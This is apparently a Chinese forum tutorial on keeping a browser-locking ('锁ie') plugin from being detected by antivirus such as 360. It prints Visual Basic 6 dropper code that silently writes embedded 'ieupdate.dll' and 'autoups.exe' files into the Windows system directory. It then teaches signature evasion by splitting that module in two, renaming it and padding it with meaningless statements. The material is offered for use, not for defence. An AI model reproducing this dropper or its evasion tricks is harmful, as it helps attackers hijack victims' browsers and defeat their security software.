一直以来锁ie最重要的一点就是免长长久不掉量
这个问题相信大家是最有兴趣的
有了这套代码就可以自己写自己的插件
当出现被杀的时候就看看这个教程吧
利马让插件重新免杀
这个diy版目前是全免杀
我们看看前面那个不免杀的版本我怎么让他免杀
插件的免杀主要 要做到下面几个文件的免杀
一个是过360部分的免杀
二是dll的免杀
3就是最后的插件的免杀
不管做谁的免杀
规律都一样
插件代码免杀大家学2招最简单的就可以应对了
第一就是加入无意义代码
第二就是改变插件的变量啊运行先后啊等等
总之就是在不影响插件功能的前提下改变插件的代码就可以了
大家看我的啊首先确定哪部分是被杀的
Private Sub scdll()
On Error Resume Next
    Dim strSysPath As String
    Dim strDesPath As String
    Dim binBuffer() As Byte
   
    strSysPath = Space(256)
    GetSystemDirectory strSysPath, 256&
    strSysPath = Left(strSysPath, InStr(1, strSysPath, Chr(0)) - 1)
    If Right(strSysPath, 1) <> "\" Then strSysPath = strSysPath & "\"
   
    strDesPath = strSysPath & "ieupdate.dll"
   

    If Dir(strDesPath) <> "" Then
        Exit Sub
    End If
   

    binBuffer = LoadResData(101, "CUSTOM")
   

    Open strDesPath For Binary As #1
    Put #1, , binBuffer
    Close #1
   

   
        strDesPath = strSysPath & "autoups.exe"
   

    If Dir(strDesPath) <> "" Then

        Exit Sub
    End If
   

    binBuffer = LoadResData(102, "CUSTOM")
   

    Open strDesPath For Binary As #1
    Put #1, , binBuffer
    Close #1
   
   

   
    'MsgBox "释放完成"
End Sub
==============================
这样的是一个模块
可以以他为单位来排查
先把代码保存一份
现在我来改动
看到没删除那个以后就可以免杀了
当然这样不是我们最后要的效果
我现在只要改变这部分就可以了
我把模块的名字给他改掉看看
改了后还是被杀看来要进行大手术
Private Sub scdll()
On Error Resume Next
    Dim strSysPath As String
    Dim strDesPath As String
    Dim binBuffer() As Byte
   
    strSysPath = Space(256)
    GetSystemDirectory strSysPath, 256&
    strSysPath = Left(strSysPath, InStr(1, strSysPath, Chr(0)) - 1)
    If Right(strSysPath, 1) <> "\" Then strSysPath = strSysPath & "\"
   
    strDesPath = strSysPath & "ieupdate.dll"
   

    If Dir(strDesPath) <> "" Then
        Exit Sub
    End If
   

    binBuffer = LoadResData(101, "CUSTOM")
   

    Open strDesPath For Binary As #1
    Put #1, , binBuffer
    Close #1
End Sub
我把这个模块分成2个模块
Private Sub scdll()
On Error Resume Next
    Dim strSysPath As String
    Dim strDesPath As String
    Dim binBuffer() As Byte
   
    strSysPath = Space(256)
    GetSystemDirectory strSysPath, 256&
    strSysPath = Left(strSysPath, InStr(1, strSysPath, Chr(0)) - 1)
    If Right(strSysPath, 1) <> "\" Then strSysPath = strSysPath & "\"
   
 strDesPath = strSysPath & "autoups.exe"
   

    If Dir(strDesPath) <> "" Then

        Exit Sub
    End If
   

    binBuffer = LoadResData(102, "CUSTOM")
   

    Open strDesPath For Binary As #1
    Put #1, , binBuffer
    Close #1
   
End Sub
====================
这样就把一个模块换成2个模块了
来看看免杀不
免杀了吧
免杀其实也很简单
有原代码你还怕什么
===============
还有一种很简单的加无效语句
比如定义一个变量然后给他一个值
看我的
Dim a
Dim b
Dim c
Dim d
    a = 1
    b = 2
    c = 3
    d = 4
    a = 1 + 1
象这种无意义的代码也能用来做免杀他又不会影响程序功能
然后到处插入
这样2种方法都是可以的
大家可以结合使用效果更佳
好了教程就到这里了